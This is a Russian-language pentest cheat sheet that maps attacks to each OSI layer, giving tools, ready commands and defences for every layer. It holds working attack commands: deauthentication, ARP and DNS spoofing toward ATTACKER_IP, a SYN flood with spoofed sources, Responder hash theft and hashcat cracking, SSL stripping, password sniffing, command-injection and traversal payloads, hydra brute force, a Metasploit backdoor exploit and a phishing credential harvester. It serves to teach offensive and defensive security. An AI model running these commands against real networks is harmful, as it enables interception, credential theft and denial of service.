Карта атак по уровням OSI: какие атаки на каком уровне
🗺 Что это
Каждый уровень модели OSI — это отдельная поверхность атаки со своими инструментами, техниками и защитой. Эта шпаргалка связывает теорию сетей с практикой пентеста: какие атаки работают на каком уровне, какие инструменты использовать, и как от них защищаются.
Аналогия: здание с 7 этажами. На каждом этаже свои двери, замки и способы проникновения. Знание планировки каждого этажа — ключ к успешному пентесту.

📌 Уровень 1 — Physical (Физический) → SNIFFING
Что атакуем
Физическую среду передачи: кабели, Wi-Fi сигнал, оптоволокно. На этом уровне данные — это электрические сигналы, радиоволны или свет.
Атаки
Физический сниффинг — подключение к кабелю или перехват Wi-Fi сигнала. Если ты физически рядом с сетью — можешь слушать всё.
Аналогия: приложить ухо к стене и подслушать разговор в соседней комнате.
Wiretapping (прослушка) — врезка в кабель. В старых сетях с коаксиалом — элементарно. С витой парой — сложнее, но возможно с помощью network tap.
Evil Twin — создание поддельной Wi-Fi точки доступа с тем же именем, что и легитимная. Устройства жертв подключаются к тебе вместо настоящей точки.
# Создание Evil Twin через airgeddon
airgeddon
# Или вручную через hostapd
# 1. Перевести адаптер в режим мониторинга
airmon-ng start wlan0
# 2. Просканировать сети
airodump-ng wlan0mon
# 3. Создать фейковую точку с тем же SSID
hostapd evil_twin.conf
Jamming (глушение) — забивание Wi-Fi частоты помехами. Все устройства теряют связь.
# Деаутентификация всех клиентов от точки доступа
aireplay-ng --deauth 0 -a BSSID_ТОЧКИ wlan0mon
Keylogger / USB-атаки — физический доступ к машине: установка аппаратного кейлоггера между клавиатурой и компьютером, или подключение Rubber Ducky (USB-устройство, имитирующее клавиатуру и вводящее команды за секунды).
Инструменты
- aircrack-ng — набор для атак на Wi-Fi
- airgeddon — автоматизированный фреймворк для Wi-Fi атак
- Rubber Ducky / Bash Bunny — USB-устройства для физических атак
- LAN Turtle — скрытое устройство для MitM через Ethernet
- Network TAP — пассивный перехват трафика на кабеле
Защита
Шифрование Wi-Fi (WPA3), физическая безопасность серверных, отключение неиспользуемых портов на свитче, контроль USB-устройств через групповые политики, видеонаблюдение.
⚡ Уровень 2 — Data Link (Канальный) → MAN-IN-THE-MIDDLE
Что атакуем
MAC-адреса, Ethernet-фреймы, ARP-протокол. Всё что происходит внутри локальной сети между устройствами.
Атаки
ARP Spoofing / ARP Poisoning — главная атака канального уровня. Подменяешь ARP-таблицу жертвы и шлюза, весь трафик идёт через тебя.
# Включить пересылку пакетов
echo 1 > /proc/sys/net/ipv4/ip_forward
# ARP-спуфинг в обе стороны
arpspoof -i eth0 -t ЖЕРТВА_IP ШЛЮЗ_IP
arpspoof -i eth0 -t ШЛЮЗ_IP ЖЕРТВА_IP
# Или через bettercap (всё в одном)
bettercap -iface eth0
> net.probe on # обнаружить устройства
> set arp.spoof.targets ЖЕРТВА_IP
> arp.spoof on # начать спуфинг
> net.sniff on # перехватывать трафик
Аналогия: подменяешь табличку на почтовых ящиках. Письма для квартиры 5 теперь приходят в твой ящик. Ты читаешь их и перекладываешь в ящик 5 — никто не замечает.
MAC Flooding — переполнение таблицы коммутации свитча. Когда таблица полна — свитч начинает работать как хаб, отправляя трафик на все порты.
# macof — генерация тысяч фейковых MAC-адресов
macof -i eth0
# После переполнения — весь трафик виден в Wireshark
MAC Spoofing — подмена своего MAC-адреса на MAC жертвы. Свитч начинает отправлять трафик жертвы на твой порт.
# Смена MAC-адреса
ip link set eth0 down
ip link set eth0 address AA:BB:CC:DD:EE:FF
ip link set eth0 up
# Или через macchanger
macchanger -r eth0 # случайный MAC
macchanger -m AA:BB:CC:DD:EE:FF eth0 # конкретный MAC
VLAN Hopping — прыжок между VLAN (виртуальными сетями). Если свитч неправильно настроен — можно отправлять фреймы с тегом чужого VLAN.
# Double tagging — отправка фрейма с двумя VLAN-тегами
# Внешний тег = твой VLAN (снимается первым свитчем)
# Внутренний тег = целевой VLAN (обрабатывается вторым свитчем)
yersinia -G # GUI для атак на L2 протоколы
STP Manipulation — атака на Spanning Tree Protocol. Объявляешь себя корневым свитчем — весь трафик сети перенаправляется через тебя.
Инструменты
- arpspoof — ARP-спуфинг
- bettercap — швейцарский нож для MitM
- macof — MAC-флудинг
- macchanger — смена MAC-адреса
- yersinia — атаки на L2 протоколы (STP, VLAN, DHCP)
- Wireshark — анализ перехваченного трафика
Защита
Port security на свитче (ограничение MAC на порт), Dynamic ARP Inspection (DAI), DHCP Snooping, 802.1X (аутентификация портов), правильная настройка VLAN (native VLAN ≠ рабочий VLAN).
🔍 Уровень 3 — Network (Сетевой) → RECONNAISSANCE / SPOOFING
Что атакуем
IP-адреса, маршрутизацию, ICMP. Всё что связано с адресацией и доставкой пакетов между сетями.
Атаки
IP Spoofing — подмена IP-адреса отправителя в пакете. Используется для обхода фильтров и в DDoS-атаках (чтобы скрыть источник).
ICMP Redirect — отправка ложного ICMP-сообщения жертве: "маршрут к X лежит через мой IP". Жертва начинает отправлять трафик через атакующего.
Smurf Attack — отправка ICMP Echo Request (ping) на broadcast-адрес сети с подменённым IP отправителя (IP жертвы). Все устройства сети отвечают жертве одновременно — DDoS.
Сканирование сети — обнаружение хостов и маршрутов.
# Ping sweep — найти живые хосты
nmap -sn 192.168.1.0/24
# Traceroute — маршрут до цели
traceroute TARGET_IP
nmap --traceroute TARGET_IP
# Определение ОС по TTL и поведению
nmap -O TARGET_IP
Route Manipulation — если доступ к маршрутизатору — можно менять маршруты и перенаправлять трафик целых подсетей через себя.
DNS Spoofing — хотя DNS работает на уровне 7, атака реализуется на сетевом уровне: подмена DNS-ответов для перенаправления жертвы на фейковый сайт.
# Через bettercap
> set dns.spoof.domains target.com
> set dns.spoof.address ATTACKER_IP
> dns.spoof on
Инструменты
- nmap — сканирование и разведка
- hping3 — создание кастомных пакетов, IP-спуфинг
- scapy — Python-библиотека для создания любых пакетов
- bettercap — DNS-спуфинг
Защита
Ingress/egress filtering (блокировка пакетов с поддельными IP), отключение ICMP redirects, статические ARP-записи для критических хостов, DNSSEC (защита DNS от подмены).
⚡ Уровень 4 — Transport (Транспортный) → RECONNAISSANCE / DOS
Что атакуем
TCP/UDP соединения, порты. Здесь работает Nmap — основной инструмент разведки.
Атаки
Сканирование портов — определение открытых сервисов. Каждый тип скана использует особенности TCP:
# SYN-скан (полуоткрытый) — самый популярный
# Отправляет SYN, получает SYN-ACK (открыт) или RST (закрыт)
# Не завершает рукопожатие — менее заметен в логах
sudo nmap -sS TARGET_IP
# Connect-скан — полное TCP-соединение
# Более заметен, но не требует root
nmap -sT TARGET_IP
# FIN-скан — отправляет FIN без предварительного SYN
# Закрытый порт ответит RST, открытый — промолчит
sudo nmap -sF TARGET_IP
# XMAS-скан — установлены флаги FIN+PSH+URG
# Как новогодняя ёлка — все огни горят
sudo nmap -sX TARGET_IP
# NULL-скан — никаких флагов
# Обратная логика: RST = закрыт, тишина = открыт
sudo nmap -sN TARGET_IP
# UDP-скан — медленный но важный
sudo nmap -sU TARGET_IP
# Idle/Zombie скан — самый скрытный
# Использует третий хост как прикрытие
sudo nmap -sI ZOMBIE_IP TARGET_IP
SYN Flood — классическая DoS-атака. Отправляешь тысячи SYN-пакетов, не завершая рукопожатие. Сервер выделяет ресурсы на каждое полуоткрытое соединение и захлёбывается.
# hping3 — SYN-флуд
hping3 -S --flood -V -p 80 TARGET_IP
# С подменой IP (сложнее отследить)
hping3 -S --flood --rand-source -p 80 TARGET_IP
Аналогия: звонишь по телефону, говоришь "алло" и молчишь. Собеседник ждёт. Ты звонишь с 10000 номеров одновременно — все линии заняты, реальные клиенты дозвониться не могут.
UDP Flood — забивание UDP-порта мусорным трафиком. Сервер тратит ресурсы на обработку и отправку ICMP unreachable.
TCP Reset Attack — отправка RST-пакета с правильным sequence number, разрывающего чужое соединение.
Инструменты
- nmap — сканирование портов всех типов
- hping3 — кастомные TCP/UDP пакеты, DoS
- masscan — сверхбыстрое сканирование (весь интернет за 6 минут)
- LOIC/HOIC — инструменты для DDoS (только в лабе!)
Защита
SYN cookies (сервер не выделяет ресурсы до завершения рукопожатия), rate limiting, файрвол с stateful inspection, IDS/IPS (Snort, Suricata), Fail2Ban (блокировка после N попыток).
🔧 Уровень 5 — Session (Сеансовый) → HIJACKING
Что атакуем
Сессии — установленные соединения между пользователем и сервисом. Session ID, токены, cookies.
Атаки
Session Hijacking — кража или подделка идентификатора сессии. Если получил чужой session cookie — можешь работать от имени этого пользователя.
# Перехват cookie через Wireshark
# Фильтр: http.cookie contains "session"
# Перехват через bettercap
> net.sniff on
> set net.sniff.regexp .*Cookie.*
# Подстановка украденного cookie в браузер
# DevTools → Application → Cookies → вставить значение
Аналогия: украл пропуск сотрудника — охрана пропускает тебя, думая что ты — тот самый сотрудник.
Session Fixation — навязывание жертве заранее известного session ID. Атакующий создаёт сессию, отправляет жертве ссылку с этим session ID, жертва логинится — теперь атакующий знает активный session ID.
1. Атакующий получает session ID: SESS=abc123
2. Отправляет жертве: http://target.com/login?SESS=abc123
3. Жертва логинится — сессия abc123 теперь авторизована
4. Атакующий использует SESS=abc123 — он залогинен как жертва
TCP Session Hijacking — перехват TCP-соединения путём предсказания или кражи sequence number. Сложно в современных системах (рандомизация seq numbers), но возможно при MitM.
LLMNR/NBT-NS Poisoning — в Windows-сетях. Перехват запросов на разрешение имён и кража NTLM-хешей.
# Responder — перехват хешей в Windows-сетях
sudo responder -I eth0 -dwv
# Результат: NTLMv2 хеши, которые можно ломать через hashcat
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
Инструменты
- Wireshark — перехват cookie и токенов
- bettercap — сниффинг сессий
- Responder — LLMNR/NBT-NS poisoning
- Burp Suite — манипуляция с сессиями в веб-приложениях
- Ferret + Hamster — перехват и повторное использование HTTP-сессий
Защита
HTTPS everywhere (шифрование cookie в транзите), флаги cookie: HttpOnly (недоступны из JavaScript), Secure (только по HTTPS), SameSite (не отправляются с чужих сайтов), регенерация session ID после логина, тайм-ауты сессий.
🛡 Уровень 6 — Presentation (Представления) → SNIFFING / CRYPTO ATTACKS
Что атакуем
Шифрование, кодирование, форматы данных. TLS/SSL, сертификаты, кодировки.
Атаки
SSL Stripping — понижение HTTPS до HTTP. Атакующий в позиции MitM перехватывает HTTPS-запрос клиента и устанавливает своё HTTPS-соединение с сервером, а клиенту отдаёт HTTP.
# Через bettercap
> set http.proxy.sslstrip true
> http.proxy on
> arp.spoof on
# Клиент думает что на HTTP (нет замочка)
# Атакующий видит весь трафик открытым текстом
# Сервер думает что всё зашифровано
Нормально: Клиент ←HTTPS→ Сервер
SSL Strip: Клиент ←HTTP→ Атакующий ←HTTPS→ Сервер
Аналогия: переводчик между двумя людьми. Один говорит на закодированном языке (HTTPS), переводчик расшифровывает и передаёт другому открытым текстом (HTTP). Оба думают что общаются безопасно.
SSL/TLS Downgrade — принуждение к использованию старых, уязвимых версий протокола (SSLv3, TLS 1.0) вместо современных (TLS 1.3).
Certificate Spoofing — подделка SSL-сертификата для MitM. Работает если жертва игнорирует предупреждения браузера о недоверенном сертификате.
POODLE, BEAST, Heartbleed — известные атаки на уязвимости в SSL/TLS:
- Heartbleed (CVE-2014-0160) — утечка памяти сервера через уязвимость в OpenSSL. Можно было получить приватные ключи, пароли, данные из памяти
- POODLE — атака на SSLv3
- BEAST — атака на TLS 1.0
# Проверка на Heartbleed
nmap --script ssl-heartbleed TARGET_IP
# Проверка версий SSL/TLS
nmap --script ssl-enum-ciphers -p 443 TARGET_IP
sslscan TARGET_IP
# testssl.sh — комплексная проверка
testssl.sh TARGET_IP
Перехват незашифрованных данных — многие протоколы передают данные без шифрования: FTP (пароли), HTTP (формы), Telnet (всё), SMTP (без STARTTLS).
# Перехват FTP-паролей через tcpdump
sudo tcpdump -i eth0 port 21 -A | grep -i "USER\|PASS"
# Перехват HTTP POST-данных
sudo tcpdump -i eth0 port 80 -A | grep -i "password\|login\|user"
Инструменты
- sslstrip — SSL stripping
- bettercap — MitM с SSL strip
- sslscan — анализ SSL/TLS конфигурации
- testssl.sh — комплексная проверка SSL/TLS
- nmap ssl- скрипты* — проверка на уязвимости SSL
Защита
HSTS (HTTP Strict Transport Security — браузер запрещает HTTP), certificate pinning, отключение старых версий SSL/TLS, валидные сертификаты от доверенных CA (не самоподписанные), OCSP Stapling.
🎯 Уровень 7 — Application (Прикладной) → EXPLOIT
Что атакуем
Конкретные приложения и протоколы: HTTP, FTP, SSH, DNS, SMTP, SMB. Самый богатый уровень для пентестера — здесь больше всего уязвимостей.
Атаки
Веб-уязвимости (HTTP/HTTPS):
# SQL Injection
sqlmap -u "http://target.com/page?id=1" --dbs
# XSS — внедрение JavaScript
# <script>alert('XSS')</script>
# Command Injection
# ; whoami
# | cat /etc/passwd
# Directory Traversal / LFI
# ../../../etc/passwd
# Brute Force веб-форм
hydra -l admin -P rockyou.txt target.com http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"
Эксплуатация сервисов:
# SSH — брутфорс (как на Metasploitable2)
hydra -l msfadmin -P passwords.txt ssh://TARGET_IP
# FTP — анонимный доступ + бэкдоры
nmap --script ftp-anon,ftp-vuln* TARGET_IP
# SMB — EternalBlue и другие
nmap --script smb-vuln-ms17-010 TARGET_IP
# DNS — зонный трансфер
dig axfr target.com @ns1.target.com
# SMTP — перечисление пользователей
nmap --script smtp-enum-users TARGET_IP
Эксплуатация через Metasploit:
# Поиск эксплойта по сервису
search type:exploit name:apache
search type:exploit name:vsftpd
# Эксплуатация
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS TARGET_IP
exploit
Phishing — социальная инженерия на прикладном уровне. Поддельные письма, фейковые страницы логина, вредоносные вложения.
# GoPhish — фреймворк для фишинг-кампаний
# SET (Social Engineering Toolkit)
setoolkit
# 1. Social-Engineering Attacks
# 2. Website Attack Vectors
# 3. Credential Harvester Attack Method
Инструменты
- Burp Suite — перехват и модификация HTTP-запросов
- sqlmap — автоматизация SQL Injection
- nikto — сканер веб-уязвимостей
- gobuster/ffuf — перебор директорий и файлов
- Metasploit — эксплуатация сервисов
- Hydra — брутфорс аутентификации
- SET — Social Engineering Toolkit
- wpscan — сканер WordPress
Защита
WAF (Web Application Firewall), input validation, prepared statements (против SQLi), output encoding (против XSS), CSRF-токены, обновление софта (патчи CVE), принцип минимальных привилегий, security headers (CSP, HSTS, X-Frame-Options).
🧠 Готовые комбо
Полная атака от физики до приложения:
Evil Twin (L1) → ARP Spoof (L2) → DNS Spoof (L3) → SYN scan (L4) → Session Hijack (L5) → SSL Strip (L6) → SQLi/XSS (L7)
MitM в локальной сети:
ARP Spoof (L2) → IP Forward (L3) → SSL Strip (L6) → перехват паролей (L7) → Wireshark анализ
Разведка по уровням:
Wi-Fi скан (L1) → MAC-адреса в сети (L2) → Ping sweep (L3) → Port scan (L4) → Banner grab (L7) → Vulnerability scan (L7)
Быстрая шпаргалка — атака по уровню:
L1: Evil Twin, Jamming, USB-атаки
L2: ARP Spoof, MAC Flood, VLAN Hopping
L3: IP Spoof, ICMP Redirect, DNS Spoof
L4: SYN Flood, Port Scan, TCP Reset
L5: Session Hijack, LLMNR Poison, Fixation
L6: SSL Strip, Heartbleed, Downgrade
L7: SQLi, XSS, RCE, Brute Force, Phishing
⚠️ Важные моменты
- Атаки нижних уровней (1-2) требуют физического присутствия в сети. ARP-спуфинг не работает через интернет — только в локальной сети. Поэтому внутренний пентест опаснее внешнего
- Уровень 4 — ворота разведки. Nmap работает здесь. Без сканирования портов не узнаешь что атаковать на уровне 7
- Уровень 7 — больше всего уязвимостей. Веб-приложения, сервисы, API — основная поверхность атаки в современном мире
- SSL Strip работает только если жертва не на HSTS. Современные браузеры с HSTS preload list не позволят понизить HTTPS до HTTP для крупных сайтов
- MitM — основа для атак на нескольких уровнях. Без позиции "человек посередине" невозможны SSL Strip (L6), Session Hijacking (L5), DNS Spoof (L3)
- Каждый уровень защищается отдельно. Файрвол на L3-L4 не спасёт от SQLi на L7. WAF на L7 не спасёт от ARP Spoof на L2. Эшелонированная защита — по слою на каждый уровень
- В реальном пентесте атаки комбинируются. Один уровень даёт доступ к следующему: физический доступ (L1) → MitM (L2) → перехват данных (L5-L6) → эксплуатация (L7)
- Responder в Windows-сетях — почти гарантированный результат. LLMNR/NBT-NS poisoning на L5 даёт NTLM-хеши без единого эксплойта